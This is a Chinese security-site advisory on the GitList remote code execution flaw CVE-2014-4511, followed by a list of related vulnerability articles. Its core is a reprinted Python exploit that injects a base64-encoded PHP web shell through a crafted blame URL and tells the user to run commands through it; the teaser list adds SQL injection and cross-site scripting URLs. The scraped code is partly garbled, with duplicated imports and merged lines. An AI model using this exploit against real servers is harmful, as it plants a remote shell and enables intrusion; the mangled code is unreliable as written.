GitList远程代码执行漏洞(CVE-2014-4511)

所属分类: 网络安全 / 漏洞分析 阅读数: 94
收藏 0 赞 0 分享

受影响系统:
GitList GitList < 0.4.0
 GitList GitList
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件,是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>
测试方法: --------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


复制代码
代码如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

更多精彩内容其他人还在看

.Net开发人员常犯的6大安全错误

  微软已经为.Net环境添加了大量的功能,帮助开发人员创建安全的应用程序,例如,身份验证已经成为开发环境集成的一个功能,另外,默认情况下调试消息被禁用掉了。微软对安全的关注程度极大地影响了开发人员,促使他们在软件开发过程中重新评估纳入安全保障的重要性。
收藏 0 赞 0 分享

科汛 KesionCMS 文件名解析漏洞

科汛cms,eshop系统建站第一品牌.专业提供开源cms项目定制服务及名片系统,在线输出,在线印刷,广告制作,在线图文下单系统提供商。
收藏 0 赞 0 分享

科讯 kesioncms 5.5以下漏洞拿shell方法原理总结(图文)

科讯做为一个强大的cms程序大多被政府和教育机构网站所使用,关于科讯的漏洞利用教程网上不是很多。由于科讯的后台登陆需要输入认证码,而认证码没有保存在数据库而是保存在asp文件中,所以在某种程度上增大了拿shell 的难度。下面就个版本拿shell 的方法做一总结。
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞说明

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。
收藏 0 赞 0 分享

织梦网官方(dedecms)爆路径最新漏洞

  首发:红科网安   作者:Amxking   漏洞程序:dedecms5.5   测试对象:织梦网CMS官方网站   提交时间:2010-03-17   漏洞类型:信息泄露   危险等级:低   漏洞描述:   dedecms 5.5程序泄露网站路径信息。     测试地址:
收藏 0 赞 0 分享

ewebeditor通杀鸡肋0day漏洞

先访问这个地址 Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp 访问这个地址可以建立个A.ASP的文件夹…… 再用这个html代码
收藏 0 赞 0 分享

PHP漏洞全解

PHP网页的安全性问题,针对PHP的网站主要存在下面几种攻击方式
收藏 0 赞 0 分享

ecshop爆绝对路径的bug

  ecshop爆绝对路径的bug   网址如下"   http://www.zzfhw.com/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/s
收藏 0 赞 0 分享

dedecms织梦 v5.5 两处跨站漏洞

  影响版本:   dedecms织梦5.5   漏洞描述:   demo1:http://www.dedecms.com/plus/search.php?keyword=%22>&searchtype=titlekeyword&channeltype=0&
收藏 0 赞 0 分享

dedecms 5.6的最新注入漏洞

  最新dedecms 5.6的注入代码:   http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28
收藏 0 赞 0 分享
查看更多